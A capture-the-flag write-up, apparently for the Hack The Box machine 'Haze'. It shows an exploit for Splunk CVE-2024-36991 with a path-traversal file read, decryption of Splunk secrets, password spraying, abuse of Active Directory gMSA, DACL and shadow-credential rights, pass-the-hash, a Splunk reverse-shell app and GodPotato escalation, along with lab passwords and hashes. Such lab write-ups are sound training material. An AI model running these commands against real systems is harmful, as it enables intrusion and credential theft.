User Flag

Started by doing some nmap scans:

sudo nmap -p- --min-rate=1000 -oN nmap.out haze.htb

Pasted image 20250619064321.png

sudo nmap -p$ports -sC -sV -vv -oN nmap_scripts.out haze.htb

Pasted image 20250619064632.png

In port 8000 we find a splunk service:

Pasted image 20250619065630.png

And in port 8089 we can find the version of splunk:

Pasted image 20250619065827.png

It appears that this version has a critical vulnerability:

https://www.sonicwall.com/blog/critical-splunk-vulnerability-cve-2024-36991-patch-now-to-prevent-arbitrary-file-reads

Let’s try to exploit it:

https://github.com/bigb0x/CVE-2024-36991

python CVE-2024-36991.py -u http://haze.htb:8000

Pasted image 20250619070638.png

We are unable to crack the hashes, but we find 3 potencial users: edward,mark and paul. But since we can exploit an arbitrary file read vulnerability we can try to read splunk config files like C:/Program%20Files/Splunk/etc/system/local/authentication.conf. Looking at the previous exploit this seems to be the path being used:

Pasted image 20250619072115.png

So let’s try reading authentication.conf:

/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf

Pasted image 20250619072632.png

In this file we can see

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

This is the user that splunk uses to query ldap, but the password is encrypter with a splunk secret. This secret is usually stored in etc/auth/splunk.secret, so let’s try to get it:

Pasted image 20250619072857.png

We can now use this tool https://github.com/HurricaneLabs/splunksecrets to try to decrypt the bindDn user password:

splunksecrets splunk-decrypt --splunk-secret splunk.secret

Pasted image 20250619073955.png

So now we have the password for the user paul.taylor. Let’s do and user enum of the domain:

Pasted image 20250619074436.png

netexec smb haze.htb -u 'paul.taylor' -p passwords.txt --rid-brute

Pasted image 20250619074522.png

We found a few more users.

netexec smb haze.htb -u usernames.txt -p passwords.txt --continue-on-success

Pasted image 20250619074928.png

The splunk password is also the password for the user mark.adams. Now let’s do some domain enumeration using bloodhound:

bloodhound-ce-python -d haze.htb -c all -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -ns 10.129.127.190 --zip

Pasted image 20250619080249.png

Using bloodhound we can see that mark.adams is a member of GMSA_MANAGERS ad group. We can try to exploit this membership with https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword

Pasted image 20250619081148.png

python3 gMSADumper.py -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb

Pasted image 20250619082036.png

We find out ahere’s a gMSA account named Haze-IT-Backup$ but only the “Domain Admins” group currently has permission to read (decrypt) the password for this gMSA. But since mark is in the gMSA managers we might change who can read the passwords, to other than only the domain admins.

Get-ADServiceAccount -Identity "Haze-IT-Backup$" -Properties PrincipalsAllowedToRetrieveManagedPassword

Pasted image 20250619090420.png

Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"

Pasted image 20250619090907.png

Now let’s try to run th gMSAdumper again:

Pasted image 20250619091254.png

We can test the nt hash:

netexec ldap haze.htb -u 'Haze-IT-Backup$' -H 4de830d1d58c14e241aff55f82ecdba1

Pasted image 20250619093541.png

Let’s update our bloodhound data with this new user:

bloodhound-ce-python -d haze.htb -c all -u 'Haze-IT-Backup$' --hashes ':4de830d1d58c14e241aff55f82ecdba1' -ns 10.129.127.190 --zip

Pasted image 20250619094100.png

We can see that the user haze-it-backups has writeowner on support_services and that this group has addkeycredenitallink on the user edward.martin, that we can abuse:

Pasted image 20250619095933.png

Pasted image 20250619095201.png

So let’s try to move to this user:

bloodyAD --host haze.htb -d 'haze.htb' -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' set owner 'support_services' 'Haze-IT-Backup$'

Pasted image 20250619100411.png

impacket-dacledit -action write -rights FullControl -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' -dc-ip haze.htb 'haze.htb/Haze-IT-Backup$' -hashes ':4de830d1d58c14e241aff55f82ecdba1'

Pasted image 20250619102327.png

bloodyAD --host haze.htb -d 'haze.htb' -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

Pasted image 20250619103439.png

Now that we are a member of the group let’s abuse the AddKeyCredentialLink with pywhisker:

pywhisker -d "haze.htb" -u "Haze-IT-Backup$" -H "4de830d1d58c14e241aff55f82ecdba1" --target "edward.martin" --action "add"

Pasted image 20250619104042.png

With the certificates we can request a tgt for edward.martin using pkinittools:

Pasted image 20250619123101.png

faketime "$(ntpdate -q haze.htb | awk '{print $1" "$2}')" python ~/workspace/tools/PKINITtools/gettgtpkinit.py -cert-pem TC6qIhU0_cert.pem -key-pem TC6qIhU0_priv.pem haze.htb/edward.martin edward_martin.ccache

Since we have the tgt and the AS-REP encryption key, we can decrypt the TGT to get the NT hase:

export KRB5CCNAME=edward_martin.ccache
faketime "$(ntpdate -q haze.htb | awk '{print $1" "$2}')" python ~/workspace/tools/PKINITtools/getnthash.py -key babf3c37e70bb916c671226456fc76e070b0cfa1666a529b1ae4357d9d5604fa haze.htb/edward.martin

Pasted image 20250619123532.png

All there it’s left is to get the user flag:

evil-winrm -i haze.htb -u 'edward.martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'

Pasted image 20250619143530.png

Root flag

There is a backups folder in C:\

Pasted image 20250621004420.png

Pasted image 20250621004455.png

Pasted image 20250621005210.png This backup looks to be the code of the splunk app that is running on the machine.

We can find the authentication.conf file:

Pasted image 20250621005605.png

cat ./var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf

Pasted image 20250621005630.png

But this one as the encrypted password for the user alexander.green. Let’s try to crack the password using the same previous method. First find the secret.

Pasted image 20250621010009.png

splunksecrets splunk-decrypt --splunk-secret Splunk/etc/auth/splunk.secret

Pasted image 20250621010343.png

We cannot use these credentials to access the alexandre.green user.

Pasted image 20250621010543.png

But maybe we can use them to login to the splunk webapp.

Pasted image 20250621074919.png

We indeed can login with admin:Sp1unkadmin@2k24.

If we google

Pasted image 20250621075038.png

we find this revers shell https://github.com/0xjpuff/reverse_shell_splunk. So let’s try it.

Following the instruction leads us to:

Pasted image 20250621075456.png

Pasted image 20250621075548.png

The user alexander.green has the SeImpersonatePrivilege enabled.

Pasted image 20250621075636.png

We might be able to use this privilege to escalate. Let’s use https://github.com/BeichenDream/GodPotato:

Pasted image 20250621083535.png

Since we can execute commands as nt authority\system, now can read the root flag.

Pasted image 20250621083658.png

Pasted image 20250621083734.png